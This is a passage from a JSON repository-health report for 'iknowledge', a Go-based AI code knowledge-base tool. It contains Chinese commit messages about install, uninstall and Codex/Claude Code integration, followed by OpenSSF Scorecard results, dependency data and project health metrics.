          "body": "- uninstall.sh(机器级):停全部 serve、删二进制与双宿主 skill,\n  结尾打印项目级残留清单与逐项目清理方法\n- kb-bootstrap skill 增卸载流程:\"卸载当前项目知识库\"触发——停服务、\n  删 .knowledge/、按清单清五处接入痕迹(.mcp.json/CLAUDE.md/AGENTS.md/\n  settings.json hook/codex config.toml);只删己方写入段;动手前须用户确认\n- README 增\"卸载\"一节;impl §9 留痕(对称定案)\n- 实测:①Codex 一句话卸载——项目回到只剩 go.mod/main.go,config.toml\n  的 knowledge 段删除且 trust 段保留(选择性删除正确);②uninstall.sh\n  →install.sh 完整循环,二进制与双宿主 skill 移除/恢复均验证\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 卸载与安装对称——uninstall.sh + skill 一句话项目级卸载(实测通过)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T06:16:43Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "30fbc31b8f1b366f374bc57fbaa0c8aa78e8b269",
          "body": "- install.sh:go install 二进制 + kb-bootstrap skill 分发到\n  ~/.claude/skills 与 $CODEX_HOME/skills(检测到 Codex 才装);由用户\n  显式执行、只写用户级 skill 目录,处于铁律二(约束二进制)边界之外\n- kb-bootstrap 升级:增 Codex 步骤(config.toml 合并,CODEX_HOME 感知;\n  AGENTS.md 纪律段);serve 改 nohup 脱会话存活;双宿主一句话可用\n- 实测:codex exec(0.142.5,隔离 CODEX_HOME)只说\"初始化当\n[…]\ne 起、/inject 200;\n  install.sh 从 GitHub 真实拉取安装验证通过\n- README:装机段改为 curl | sh 一条命令,双 agent 一句话\n- 坑留痕:headless codex exec 需 </dev/null(否则等 stdin 挂起)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: install.sh 一键装机 + kb-bootstrap 升级双宿主(Codex 一句话实测通过)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T06:06:19Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "a4111c15ac2da9874b2fb0ca29e0a53c9e1770db",
          "body": "- 实测(codex-cli 0.142.5,隔离 CODEX_HOME):rmcp streamable HTTP 直连\n  /mcp/main,url 条目原生支持、无需 stdio fallback;服务端不开 SSE 兼容;\n  kb_status ok=True,Mcp-Session-Id 回带(台账/过时警报对 Codex 生效)\n- 行为差异留痕(impl §7.1 M1.2):Codex 对 MCP 工具调用弹审批征询,\n  headless exec 无人应答自动 Cancel(\"user cancelled MCP tool call\"),\n  需 --dangerous\n[…]\n注入机制,\n  注入腿③不适用,靠纪律主动查询\n- iknowledge setup 新增④ Codex 段:config.toml 片段 + AGENTS.md 指引 +\n  审批/多仓库改名说明;测试断言补齐\n- README FAQ:Codex 条目改为\"能用,已实测\"+ 具体接法\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: Codex 接入实测通过——setup 增④段(config.toml/AGENTS.md)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T05:44:00Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "4587971ee508db357e66c4d44dc5416748dd66dc",
          "body": "- skills/kb-bootstrap/SKILL.md:主 AI 代跑 install/init/写三件套(读旧\n  合并,不覆盖)/起 serve/验证;iknowledge 二进制仍只写 .knowledge/,\n  三件套代写主体是 agent(impl §1\"由用户/主 AI 自行粘贴\"的落地形态)\n- README 新增\"最省事:对 AI 说一句\"一节(装 skill 的 curl 一行命令)\n- impl §9 留痕:操作型 skill 定位;纪律不做 skill(按需加载违背常驻纪律)\n- PTY 实测通过(sonnet):全新仓库只说\"初始化当前项目知识库\"——AI 自动\n  init、写 .mcp.json/CLAUDE.md/.claude settings(hook 就位)、后台起\n  serve,/inject 探活 200\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: kb-bootstrap 操作型 skill——一句话\"初始化当前项目知识库\"",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T05:36:07Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "0903e465d80e617ba1810d6740819cfa86381504",
          "body": "- iknowledge setup:打印接入三件套(.mcp.json / CLAUDE.md 纪律段 /\n  .claude/settings.json hook 片段),只打印不代写(铁律二)\n- iknowledge hook:Claude Code PostToolUse hook 桥——stdin 读事件、\n  向上找 .knowledge 定位仓库、GET /inject、additionalContext 输出;\n  任何失败静默退出 0,注入是增强不是依赖,绝不阻塞宿主工具调用\n- impl §7.1 勘误留痕:挂接点 PreToolUse → PostToolUse(现版 \n[…]\n中/cwd 寻根/无节点/坏事件/serve 未启动\n  全静默)+ setup 三件套输出与\"不代写\"断言\n- 实测(casino,48.6 万行):PTY 真实 Claude Code 装 hook 后 Read 文件,\n  分片预埋 pitfall 原文出现在其回答中——注入链全通\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 接入套件 setup/hook 子命令 + hook 注入闭环实测 + README 傻瓜部署",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T05:17:01Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "47a468ddcc5dbf1f656a7a89b674bee08fc8f49a",
          "body": "Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "ci: actions 升级 checkout@v5 / setup-go@v6(Node 20 弃用告警)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T04:01:53Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "8136120147c3a05745db76bb5970bd60c975d18f",
          "body": "- 13 个 MCP 工具 + /mcp/main、/mcp/scout 双端点 + GET /inject;\n  手写 JSON-RPC 2.0,零重依赖(仅 gopkg.in/yaml.v3)\n- 会话台账/过时警报/任务态/侦查委派/维护欠账/时代摘要/使用日志;\n  双哈希锚定(Hash 腐烂检测 / StructHash 迁移)与申报式迁移\n- 轮 24:57-agent 对抗审查确认的 42 处真问题全部修复 + 回归测试\n- 轮 25(go-audit 第三方全仓复审):P0=0,修 19 处(P1×3:remember\n  拒收路径污染 keywords 缓存、record_c\n[…]\nframed() 伪造框架标记消毒、ledgerTTL 更名、非回环监听裸奔警示\n- 文档留痕:impl §1/§4/§7.3/kb_task 定案回写,README/CLAUDE.md 进度同步\n\n测试:7 包全绿(含关键包 -race);curl 协议级自测与 serve 冒烟通过。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "impl: 第一期全量实现 + 轮 24 对抗审查与轮 25 第三方审计修复",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T03:59:37Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "b6e406ba6cb2a5d5a7021e44242bedeb1fe0fcd1",
          "body": "从 aibridge 迁出为独立仓库(零代码耦合,aibridge 将作为第一个 MCP 客户端)。\n包含 20 轮设计讨论收敛的概念设计全案(knowledge.md)与第一期工程方案\n(knowledge-impl.md):空间金字塔/时间来时路/横向流程/任务态/上下文卫生\n五个维度、自愈与迁移机制、MCP API 全量规范、M1.1-M1.4 里程碑。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "init: iknowledge——AI 代码知识库,设计文档定稿",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-03T15:42:19Z",
          "body_truncated": false,
          "is_coding_agent": true
        }
      ],
      "releases_count": 5,
      "commits_last_year": 63,
      "latest_release_at": "2026-07-19T18:29:08Z",
      "latest_release_tag": "v0.4.1",
      "releases_from_tags": false,
      "days_since_last_push": 7,
      "active_weeks_last_year": 3,
      "days_since_latest_release": 7,
      "mean_days_between_releases": 2.8
    },
    "community": {
      "has_readme": true,
      "has_license": true,
      "has_description": true,
      "has_contributing": false,
      "health_percentage": 42,
      "has_issue_template": false,
      "has_code_of_conduct": false,
      "has_pull_request_template": false
    },
    "ecosystem": {
      "packages": [
        {
          "name": "github.com/zdypro888/iknowledge",
          "exists": true,
          "license": null,
          "keywords": [],
          "ecosystem": "go",
          "matches_repo": true,
          "registry_url": "https://pkg.go.dev/github.com/zdypro888/iknowledge",
          "is_deprecated": false,
          "latest_version": "v0.4.1",
          "repository_url": "https://github.com/zdypro888/iknowledge",
          "versions_count": 5,
          "total_downloads": null,
          "dependents_count": null,
          "deprecation_note": null,
          "maintainers_count": null,
          "monthly_downloads": null,
          "first_published_at": null,
          "latest_published_at": "2026-07-19T18:18:42Z",
          "latest_version_yanked": null,
          "days_since_latest_publish": 7
        }
      ]
    },
    "popularity": {
      "forks": 0,
      "stars": 0,
      "watchers": 0,
      "fork_history": {
        "days": [],
        "complete": true,
        "collected": 0,
        "total_forks": 0
      },
      "star_history": {
        "days": [],
        "complete": true,
        "collected": 0,
        "total_stars": 0,
        "collected_at": null
      },
      "open_issues_and_prs": 0
    },
    "ai_readiness": {
      "has_nix": false,
      "example_dirs": [],
      "has_llms_txt": false,
      "has_dockerfile": false,
      "has_mcp_signal": false,
      "bootstrap_files": [],
      "api_schema_files": [],
      "has_devcontainer": false,
      "typecheck_configs": [],
      "toolchain_manifests": [
        "go.mod"
      ],
      "largest_source_bytes": 84740,
      "source_files_sampled": 159,
      "oversized_source_files": 4,
      "agent_instruction_files": [
        "AGENTS.md",
        "CLAUDE.md"
      ],
      "agent_instruction_max_bytes": 26247
    },
    "dependencies": {
      "manifests": [
        "go.mod"
      ],
      "advisories": {
        "error": null,
        "scope": null,
        "source": null,
        "findings": [],
        "collected": false,
        "malicious": [],
        "truncated": false,
        "by_severity": {},
        "advisory_count": 0,
        "affected_count": 0,
        "assessed_count": 0,
        "malicious_count": 0,
        "assessed_package": null,
        "unassessed_count": 0,
        "direct_affected_count": 0
      },
      "ecosystems": [
        "go"
      ],
      "dependencies": [
        {
          "name": "gopkg.in/yaml.v3",
          "manifest": "go.mod",
          "ecosystem": "go",
          "version_constraint": "v3.0.1"
        }
      ],
      "all_dependencies": {
        "error": "GitHub dependency-graph SBOM unavailable (404); the dependency graph may be disabled for this repository",
        "source": null,
        "packages": [],
        "collected": false,
        "truncated": false,
        "total_count": null,
        "direct_count": null,
        "indirect_count": null
      }
    },
    "maintainership": {
      "issues": {
        "open_prs": 0,
        "merged_prs": 4,
        "open_issues": 0,
        "closed_ratio": null,
        "closed_issues": 0,
        "closed_unmerged_prs": 0
      },
      "bus_factor": 1,
      "bot_contributors": 0,
      "top_contributors": [
        {
          "type": "User",
          "login": "zdypro888",
          "commits": 43,
          "avatar_url": "https://avatars.githubusercontent.com/u/43611116?v=4"
        }
      ],
      "contributors_sampled": 1,
      "top_contributor_share": 1
    },
    "quality_signals": {
      "has_ci": true,
      "has_tests": true,
      "ci_workflows": [
        "ci.yml",
        "release.yml"
      ],
      "has_docs_dir": false,
      "linter_configs": [],
      "has_editorconfig": false,
      "has_linter_config": false,
      "has_precommit_config": false
    },
    "security_signals": {
      "lockfiles": [
        "go.sum"
      ],
      "scorecard": {
        "checks": [
          {
            "name": "Binary-Artifacts",
            "score": 10,
            "reason": "no binaries found in the repo",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#binary-artifacts"
          },
          {
            "name": "Branch-Protection",
            "score": 0,
            "reason": "branch protection not enabled on development/release branches",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#branch-protection"
          },
          {
            "name": "CI-Tests",
            "score": 10,
            "reason": "4 out of 4 merged PRs checked by a CI test -- score normalized to 10",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#ci-tests"
          },
          {
            "name": "CII-Best-Practices",
            "score": 0,
            "reason": "no effort to earn an OpenSSF best practices badge detected",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#cii-best-practices"
          },
          {
            "name": "Code-Review",
            "score": 0,
            "reason": "Found 0/24 approved changesets -- score normalized to 0",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#code-review"
          },
          {
            "name": "Contributors",
            "score": 0,
            "reason": "project has 0 contributing companies or organizations -- score normalized to 0",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#contributors"
          },
          {
            "name": "Dangerous-Workflow",
            "score": 10,
            "reason": "no dangerous workflow patterns detected",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#dangerous-workflow"
          },
          {
            "name": "Dependency-Update-Tool",
            "score": 0,
            "reason": "no update tool detected",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#dependency-update-tool"
          },
          {
            "name": "Fuzzing",
            "score": 10,
            "reason": "project is fuzzed",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#fuzzing"
          },
          {
            "name": "License",
            "score": 10,
            "reason": "license file detected",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#license"
          },
          {
            "name": "Maintained",
            "score": 0,
            "reason": "project was created within the last 90 days. Please review its contents carefully",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#maintained"
          },
          {
            "name": "Packaging",
            "score": null,
            "reason": "packaging workflow not detected",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#packaging"
          },
          {
            "name": "Pinned-Dependencies",
            "score": 10,
            "reason": "all dependencies are pinned",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#pinned-dependencies"
          },
          {
            "name": "SAST",
            "score": 0,
            "reason": "SAST tool is not run on all commits -- score normalized to 0",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#sast"
          },
          {
            "name": "Security-Policy",
            "score": 0,
            "reason": "security policy file not detected",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#security-policy"
          },
          {
            "name": "Signed-Releases",
            "score": 0,
            "reason": "Project has not signed or included provenance with any releases.",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#signed-releases"
          },
          {
            "name": "Token-Permissions",
            "score": 10,
            "reason": "GitHub workflow tokens follow principle of least privilege",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#token-permissions"
          },
          {
            "name": "Vulnerabilities",
            "score": 10,
            "reason": "0 existing vulnerabilities detected",
            "documentation_url": "https://github.com/ossf/scorecard/blob/c395761df6afe1a69e476bc60a013a94bcbc153f/docs/checks.md#vulnerabilities"
          }
        ],
        "commit": "6f8691ab8c8b2ea8dcfc19be11ebaf784c355e62",
        "ran_at": "2026-07-27T09:13:46Z",
        "aggregate_score": 4.8,
        "scorecard_version": "v5.5.0"
      },
      "has_codeql_workflow": false,
      "has_security_policy": false,
      "has_dependabot_config": false
    },
    "contribution_flow": {
      "collected": true,
      "ci_last_run_at": "2026-07-19T19:30:48Z",
      "oldest_open_prs": [],
      "last_merged_pr_at": "2026-07-19T19:23:50Z",
      "ci_last_conclusion": "SUCCESS",
      "oldest_open_issues": []
    }
  },
  "config": {
    "disabled_metrics": [],
    "disabled_categories": [],
    "disabled_components": {}
  },
  "source": {
    "url": "https://github.com/zdypro888/iknowledge",
    "host": "github.com",
    "name": "iknowledge",
    "owner": "zdypro888"
  },
  "metrics": {
    "overall": {
      "key": "overall",
      "band": "moderate",
      "name": "Overall health",
      "note": null,
      "notes": [],
      "value": 52,
      "inputs": {
        "security": 48,
        "vitality": 68,
        "community": 24,
        "governance": 54,
        "engineering": 61
      },
      "components": []
    },
    "categories": [
      {
        "key": "vitality",
        "band": "moderate",
        "name": "Vitality",
        "value": 68,
        "weight": 0.22,
        "metrics": [
          {
            "key": "development_activity",
            "band": "moderate",
            "name": "Development activity",
            "note": null,
            "notes": [],
            "value": 54,
            "inputs": {
              "commits_last_year": 63,
              "human_commit_share": 1,
              "days_since_last_push": 7,
              "active_weeks_last_year": 3
            },
            "components": [
              {
                "key": "push_recency",
                "name": "Push recency",
                "detail": "last push 7 days ago",
                "points": 36,
                "status": "met",
                "details": [
                  {
                    "code": "push_recency",
                    "params": {
                      "days": 7
                    }
                  }
                ],
                "max_points": 36
              },
              {
                "key": "commit_cadence",
                "name": "Commit cadence",
                "detail": "3/52 weeks with commits",
                "points": 2.1,
                "status": "partial",
                "details": [
                  {
                    "code": "commit_cadence_weeks",
                    "params": {
                      "weeks": 3
                    }
                  }
                ],
                "max_points": 36
              },
              {
                "key": "commit_volume",
                "name": "Commit volume",
                "detail": "63 commits in the last year",
                "points": 16.2,
                "status": "partial",
                "details": [
                  {
                    "code": "commits_last_year",
                    "params": {
                      "count": 63
                    }
                  }
                ],
                "max_points": 18
              },
              {
                "key": "openssf_scorecard_maintained",
                "name": "OpenSSF Scorecard: Maintained",
                "detail": "project was created within the last 90 days. Please review its contents carefully",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 10
              }
            ]
          },
          {
            "key": "release_discipline",
            "band": "excellent",
            "name": "Release discipline",
            "note": null,
            "notes": [],
            "value": 90,
            "inputs": {
              "releases_count": 5,
              "latest_release_tag": "v0.4.1",
              "releases_from_tags": false,
              "days_since_latest_release": 7,
              "mean_days_between_releases": 2.8
            },
            "components": [
              {
                "key": "ships_releases",
                "name": "Ships releases",
                "detail": "5 releases published",
                "points": 27,
                "status": "met",
                "details": [
                  {
                    "code": "releases_published",
                    "params": {
                      "count": 5
                    }
                  }
                ],
                "max_points": 27
              },
              {
                "key": "release_recency",
                "name": "Release recency",
                "detail": "latest release 7 days ago",
                "points": 36,
                "status": "met",
                "details": [
                  {
                    "code": "release_recency",
                    "params": {
                      "days": 7
                    }
                  }
                ],
                "max_points": 36
              },
              {
                "key": "release_cadence",
                "name": "Release cadence",
                "detail": "a release every ~2.8 days",
                "points": 27,
                "status": "met",
                "details": [
                  {
                    "code": "release_cadence",
                    "params": {
                      "gap": 2.8
                    }
                  }
                ],
                "max_points": 27
              },
              {
                "key": "openssf_scorecard_signed_releases",
                "name": "OpenSSF Scorecard: Signed-Releases",
                "detail": "Project has not signed or included provenance with any releases.",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 10
              }
            ]
          },
          {
            "key": "abandonment",
            "band": "excellent",
            "name": "Abandonment",
            "note": null,
            "notes": [],
            "value": 100,
            "inputs": {
              "cap": null,
              "state": "unverified",
              "guards": [],
              "signals": [],
              "red_flag": false,
              "multiplier_pct": 100,
              "declared_reason": null,
              "unverified_reason": "repository_too_young",
              "unanswered_open_prs": null,
              "unanswered_open_issues": null,
              "days_since_last_merged_pr": null,
              "days_since_last_human_commit": null,
              "days_since_last_human_commit_is_floor": false
            },
            "components": [
              {
                "key": "project_is_still_maintained",
                "name": "Project is still maintained",
                "detail": "maintenance record not established from the collected data",
                "points": 100,
                "status": "met",
                "details": [
                  {
                    "code": "abandonment_unverified",
                    "params": {}
                  }
                ],
                "max_points": 100
              }
            ]
          }
        ],
        "description": "Is the project alive — is code being written and are releases shipping?"
      },
      {
        "key": "community",
        "band": "critical",
        "name": "Community & Adoption",
        "value": 24,
        "weight": 0.18,
        "metrics": [
          {
            "key": "popularity",
            "band": "critical",
            "name": "Popularity & adoption",
            "note": null,
            "notes": [],
            "value": 1,
            "inputs": {
              "forks": 0,
              "stars": 0,
              "watchers": 0,
              "growth_state": "unverified",
              "growth_factor_pct": 100,
              "growth_unverified_reason": "no_history"
            },
            "components": [
              {
                "key": "stars",
                "name": "Stars",
                "detail": "0 stars",
                "points": 0,
                "status": "missed",
                "details": [
                  {
                    "code": "stars",
                    "params": {
                      "count": 0
                    }
                  }
                ],
                "max_points": 60
              },
              {
                "key": "forks",
                "name": "Forks",
                "detail": "0 forks",
                "points": 0,
                "status": "missed",
                "details": [
                  {
                    "code": "forks",
                    "params": {
                      "count": 0
                    }
                  }
                ],
                "max_points": 25
              },
              {
                "key": "watchers",
                "name": "Watchers",
                "detail": "0 watchers",
                "points": 0,
                "status": "missed",
                "details": [
                  {
                    "code": "watchers",
                    "params": {
                      "count": 0
                    }
                  }
                ],
                "max_points": 15
              }
            ]
          },
          {
            "key": "community_health",
            "band": "moderate",
            "name": "Community health",
            "note": null,
            "notes": [],
            "value": 50,
            "inputs": {
              "has_readme": true,
              "has_license": true,
              "has_contributing": false,
              "has_issue_template": false,
              "has_code_of_conduct": false,
              "has_pull_request_template": false
            },
            "components": [
              {
                "key": "readme",
                "name": "README",
                "detail": null,
                "points": 22.5,
                "status": "met",
                "details": [],
                "max_points": 22.5
              },
              {
                "key": "license",
                "name": "License",
                "detail": "recognized license (MIT)",
                "points": 22.5,
                "status": "met",
                "details": [
                  {
                    "code": "license_standard",
                    "params": {}
                  },
                  {
                    "code": "license_spdx",
                    "params": {
                      "spdx": "MIT"
                    }
                  }
                ],
                "max_points": 22.5
              },
              {
                "key": "contributing_guide",
                "name": "CONTRIBUTING guide",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 18
              },
              {
                "key": "code_of_conduct",
                "name": "Code of conduct",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 13.5
              },
              {
                "key": "issue_template",
                "name": "Issue template",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 7.2
              },
              {
                "key": "pr_template",
                "name": "PR template",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 6.3
              }
            ]
          }
        ],
        "description": "Does the project have users, downloads, attention, and a welcoming setup for contributors?"
      },
      {
        "key": "governance",
        "band": "moderate",
        "name": "Sustainability & Governance",
        "value": 54,
        "weight": 0.24,
        "metrics": [
          {
            "key": "maintainer_resilience",
            "band": "critical",
            "name": "Maintainer resilience (bus factor)",
            "note": null,
            "notes": [],
            "value": 10,
            "inputs": {
              "bus_factor": 1,
              "contributors_sampled": 1,
              "top_contributor_share": 1
            },
            "components": [
              {
                "key": "bus_factor",
                "name": "Bus factor",
                "detail": "1 contributor(s) cover half of all commits",
                "points": 9,
                "status": "partial",
                "details": [
                  {
                    "code": "bus_factor",
                    "params": {
                      "count": 1
                    }
                  }
                ],
                "max_points": 54
              },
              {
                "key": "commit_distribution",
                "name": "Commit distribution",
                "detail": "top contributor authored 100% of commits",
                "points": 0,
                "status": "missed",
                "details": [
                  {
                    "code": "top_contributor_share",
                    "params": {
                      "share": 100
                    }
                  }
                ],
                "max_points": 22.5
              },
              {
                "key": "contributor_breadth",
                "name": "Contributor breadth",
                "detail": "1 contributors",
                "points": 1.4,
                "status": "partial",
                "details": [
                  {
                    "code": "contributors_sampled",
                    "params": {
                      "count": 1
                    }
                  }
                ],
                "max_points": 13.5
              },
              {
                "key": "openssf_scorecard_contributors",
                "name": "OpenSSF Scorecard: Contributors",
                "detail": "project has 0 contributing companies or organizations -- score normalized to 0",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 10
              }
            ]
          },
          {
            "key": "responsiveness",
            "band": "good",
            "name": "Issue & PR responsiveness",
            "note": "Excluded from scoring (no data or not applicable): Issue resolution. Remaining weights renormalized.",
            "notes": [
              {
                "code": "excluded_no_data",
                "params": {
                  "components": [
                    "issue_resolution"
                  ]
                }
              },
              {
                "code": "weights_renormalized",
                "params": {}
              }
            ],
            "value": 72,
            "inputs": {
              "merged_prs": 4,
              "open_issues": 0,
              "closed_issues": 0,
              "issue_closed_ratio": null,
              "closed_unmerged_prs": 0
            },
            "components": [
              {
                "key": "issue_resolution",
                "name": "Issue resolution",
                "detail": "no issues or no data",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_issues_or_data",
                    "params": {}
                  }
                ],
                "max_points": 46.75
              },
              {
                "key": "pr_acceptance",
                "name": "PR acceptance",
                "detail": "4/4 decided PRs merged",
                "points": 38.2,
                "status": "met",
                "details": [
                  {
                    "code": "decided_prs_merged",
                    "params": {
                      "merged": 4,
                      "decided": 4
                    }
                  }
                ],
                "max_points": 38.25
              },
              {
                "key": "openssf_scorecard_code_review",
                "name": "OpenSSF Scorecard: Code-Review",
                "detail": "Found 0/24 approved changesets -- score normalized to 0",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 15
              }
            ]
          },
          {
            "key": "stewardship",
            "band": "moderate",
            "name": "Ownership & stewardship",
            "note": "Excluded from scoring (no data or not applicable): Verified domain. Remaining weights renormalized.",
            "notes": [
              {
                "code": "excluded_no_data",
                "params": {
                  "components": [
                    "verified_domain"
                  ]
                }
              },
              {
                "code": "weights_renormalized",
                "params": {}
              }
            ],
            "value": 50,
            "inputs": {
              "followers": 7,
              "owner_type": "User",
              "is_verified": null,
              "owner_login": "zdypro888",
              "public_repos": 37,
              "account_age_days": 2860
            },
            "components": [
              {
                "key": "ownership_backing",
                "name": "Ownership backing",
                "detail": "personal (user) account",
                "points": 10,
                "status": "partial",
                "details": [
                  {
                    "code": "owner_personal",
                    "params": {}
                  }
                ],
                "max_points": 30
              },
              {
                "key": "verified_domain",
                "name": "Verified domain",
                "detail": "not applicable to user accounts",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "not_applicable_to_user_accounts",
                    "params": {}
                  }
                ],
                "max_points": 20
              },
              {
                "key": "owner_reach",
                "name": "Owner reach",
                "detail": "7 followers of zdypro888",
                "points": 6.5,
                "status": "partial",
                "details": [
                  {
                    "code": "owner_followers",
                    "params": {
                      "count": 7,
                      "login": "zdypro888"
                    }
                  }
                ],
                "max_points": 25
              },
              {
                "key": "track_record",
                "name": "Track record",
                "detail": "37 public repos, account ~7 yr old",
                "points": 23.5,
                "status": "partial",
                "details": [
                  {
                    "code": "public_repos",
                    "params": {
                      "count": 37
                    }
                  },
                  {
                    "code": "account_age_years",
                    "params": {
                      "years": 7
                    }
                  }
                ],
                "max_points": 25
              }
            ]
          },
          {
            "key": "package_maintenance",
            "band": "excellent",
            "name": "Package maintenance",
            "note": null,
            "notes": [],
            "value": 100,
            "inputs": {
              "packages": [
                "github.com/zdypro888/iknowledge"
              ],
              "ecosystems": "go",
              "any_deprecated": false,
              "min_days_since_publish": 7
            },
            "components": [
              {
                "key": "published_resolvable",
                "name": "Published & resolvable",
                "detail": "1 package(s) on go",
                "points": 25,
                "status": "met",
                "details": [
                  {
                    "code": "packages_published",
                    "params": {
                      "count": 1,
                      "ecosystems": "go"
                    }
                  }
                ],
                "max_points": 25
              },
              {
                "key": "publish_recency",
                "name": "Publish recency",
                "detail": "latest publish 7 days ago",
                "points": 35,
                "status": "met",
                "details": [
                  {
                    "code": "publish_recency",
                    "params": {
                      "days": 7
                    }
                  }
                ],
                "max_points": 35
              },
              {
                "key": "version_history",
                "name": "Version history",
                "detail": "5 published versions",
                "points": 20,
                "status": "met",
                "details": [
                  {
                    "code": "published_versions",
                    "params": {
                      "count": 5
                    }
                  }
                ],
                "max_points": 20
              },
              {
                "key": "not_deprecated",
                "name": "Not deprecated",
                "detail": "active, not deprecated or yanked",
                "points": 20,
                "status": "met",
                "details": [
                  {
                    "code": "package_not_deprecated",
                    "params": {}
                  }
                ],
                "max_points": 20
              }
            ]
          }
        ],
        "description": "Will the project survive its people — bus factor, responsiveness, who backs it, and package upkeep?"
      },
      {
        "key": "engineering",
        "band": "moderate",
        "name": "Engineering Quality",
        "value": 61,
        "weight": 0.2,
        "metrics": [
          {
            "key": "engineering_practices",
            "band": "moderate",
            "name": "Engineering practices",
            "note": null,
            "notes": [],
            "value": 68,
            "inputs": {
              "has_ci": true,
              "has_tests": true,
              "has_editorconfig": false,
              "has_linter_config": false,
              "has_precommit_config": false
            },
            "components": [
              {
                "key": "ci_workflows",
                "name": "CI workflows",
                "detail": "2 workflow(s)",
                "points": 24,
                "status": "met",
                "details": [
                  {
                    "code": "ci_workflows",
                    "params": {
                      "count": 2
                    }
                  }
                ],
                "max_points": 24
              },
              {
                "key": "tests_present",
                "name": "Tests present",
                "detail": null,
                "points": 24,
                "status": "met",
                "details": [],
                "max_points": 24
              },
              {
                "key": "linter_config",
                "name": "Linter config",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 16
              },
              {
                "key": "pre_commit_hooks",
                "name": "Pre-commit hooks",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 9.6
              },
              {
                "key": "editorconfig",
                "name": ".editorconfig",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 6.4
              },
              {
                "key": "openssf_scorecard_ci_tests",
                "name": "OpenSSF Scorecard: CI-Tests",
                "detail": "4 out of 4 merged PRs checked by a CI test -- score normalized to 10",
                "points": 20,
                "status": "met",
                "details": [],
                "max_points": 20
              }
            ]
          },
          {
            "key": "documentation",
            "band": "moderate",
            "name": "Documentation",
            "note": null,
            "notes": [],
            "value": 50,
            "inputs": {
              "topics": [],
              "has_wiki": true,
              "homepage": null,
